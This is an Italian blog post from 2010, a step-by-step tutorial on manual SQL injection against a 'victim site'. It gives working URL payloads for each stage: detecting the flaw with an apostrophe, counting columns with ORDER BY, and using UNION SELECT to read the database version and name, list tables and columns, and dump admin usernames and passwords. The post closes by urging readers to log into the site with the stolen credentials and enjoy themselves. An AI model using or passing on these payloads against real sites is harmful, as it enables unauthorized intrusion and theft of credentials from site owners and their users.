giovedì 7 ottobre 2010

Semplice Sql injection

Per prima cosa per fare una sql injection ci serve sapere se il sito che vogliamo attaccare e vulnerabile, per farlo dobbiamo aggiungere l'apostrofo alla fine del link, prima oppure dopo il numero della pagina, per esempio se abbiamo:

CODICE
http://www.sitovittima.com/buy.php?id=1
diventerà
http://www.sitovittima.com/buy.php?id='1
oppure
http://www.sitovittima.com/buy.php?id=1'


se avremo come risultato una pagina con l'errore seguente o qualcosa del genere vuol dire che il sito è vulnerabile:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home1/michafj0/public_html/gallery.php on line 7

Ora dobbiamo cercare il numero di colonne di questo sito, quindi useremo il comando "order by" e lo useremo in questo modo:

CODICE
http://www.sitovittima.com/buy.php?id=1 order by 1--


In questo modo la pagina verra caricata normalmente, noi dobbiamo semplicemente cercare le colonne fino quando la pagina non darà un messaggio di errore:

CODICE
http://www.sitovittima.com/buy.php?id=1 order by 2-- /* caricamento corretto */
http://www.sitovittima.com/buy.php?id=1 order by 3-- /* caricamento corretto */
http://www.sitovittima.com/buy.php?id=1 order by 4-- /* caricamento corretto */
http://www.sitovittima.com/buy.php?id=1 order by 5-- /* caricamento corretto */
http://www.sitovittima.com/buy.php?id=1 order by 6-- /* messaggio di errore*/


In questo esempio avremo un'errore nella colonna n.6 questo vuol dire che nel sito ci sono 5 colonne, il passo successivo è quello di cercare quali di queste colonne sono vulnerabili, e lo facciamo con il comando "union all select" ovvero:

CODICE
http://www.sitovittima.com/buy.php?id=1 union all select 1,2,3,4,5-- 

oppure

http://www.sitovittima.com/buy.php?id=-1 union all select 1,2,3,4,5--
/*finisco a 5 perche nel sito ci sono 5 colonne*/


dopo aver inserito questa query nella pagina dovrebbero essere visibili qualche numer tipo:

2
4

queste sono le nostre colonne vulnerabili, ora con queste informazioni cerchiamo il nome del database e la versione dell'sql del sito.
In questo esempio tratterò di un sito versione 5, è importante sapere la versione perchè se fosse la 4 i passaggi sarebbero diversi, quindi faccimo:

CODICE
http://www.sitovittima.com/buy.php?id=1 UNION SELECT 1,@@version,3,4,5--
/* in caso non funzionasse facciamo */
http://www.sitovittima.com/buy.php?id=1 UNION SELECT 1,unhex(hex(@@version)),3,4,5--


e avremo il numero della versione, una cosa tipo 5.0.17 version, ora tocca al database:

CODICE
http://www.sitovittima.com/buy.php?id=1 UNION SELECT 1,group_concat(schema_name),3,4,5 from information_schema.schemata--
oppure
http://www.sitovittima.com/buy.php?id=1 UNION SELECT 1,concat(database()),3,4,5--


Segniatevi il nome del database da qualche parte che ora arriva la parte divertente, dobbiamo trovare username e password del sito.
Per prima cosa cerchiamo nel database i nomi delle tabelle:

CODICE
http://www.site.com/buy.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=nomedatabase()--


Apparirà una lista di nomi_di_tabelle, cerchiamo tra le tabelle quelle che probabilmente possano contenere le informazioni che ci servono, di solito si chiamono User(s), Admin(s) .... e cose del genere, allora facciamo:

CODICE
http://www.site.com/buy.php?id=1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_name="User"--

oppure

http://www.site.com/buy.php?id=1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_name="Admin"--


Ora potremmo avere due tipi di risultato, il primo, quello con l'elenco delle colonne che ci sono nella tabella, ovvero username, pass ecc, se da errore dobbiamo semplicemente convertire il nome della tabella in formato esadecimale, poi riscrivere la query di prima nell'indirizo ma al posto di Admin o User ci mettete il codice in formato esadecimale, in seguito otterremo anche questa volta il contenuto delle tabelle, password, username ...
Ora dobbiamo guardare cosa c'è all'intern di queste colonne:

CODICE
http://www.site.com/buy.php?id=1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM nomedatabase.Admin--

/* 0x3a sta al posto dell'uguale ( : ) */

E Magia dopo questa query avrete ottenuto con un'pò di fatica il nome utente e la password del sito, a questo punto non vi resta che trovare la pagina di login del sito e entrarci con le informazioni che avete appena trovato.
Spero che la guida vi sia piaciuta, divertitevi

Nessun commento:

Posta un commento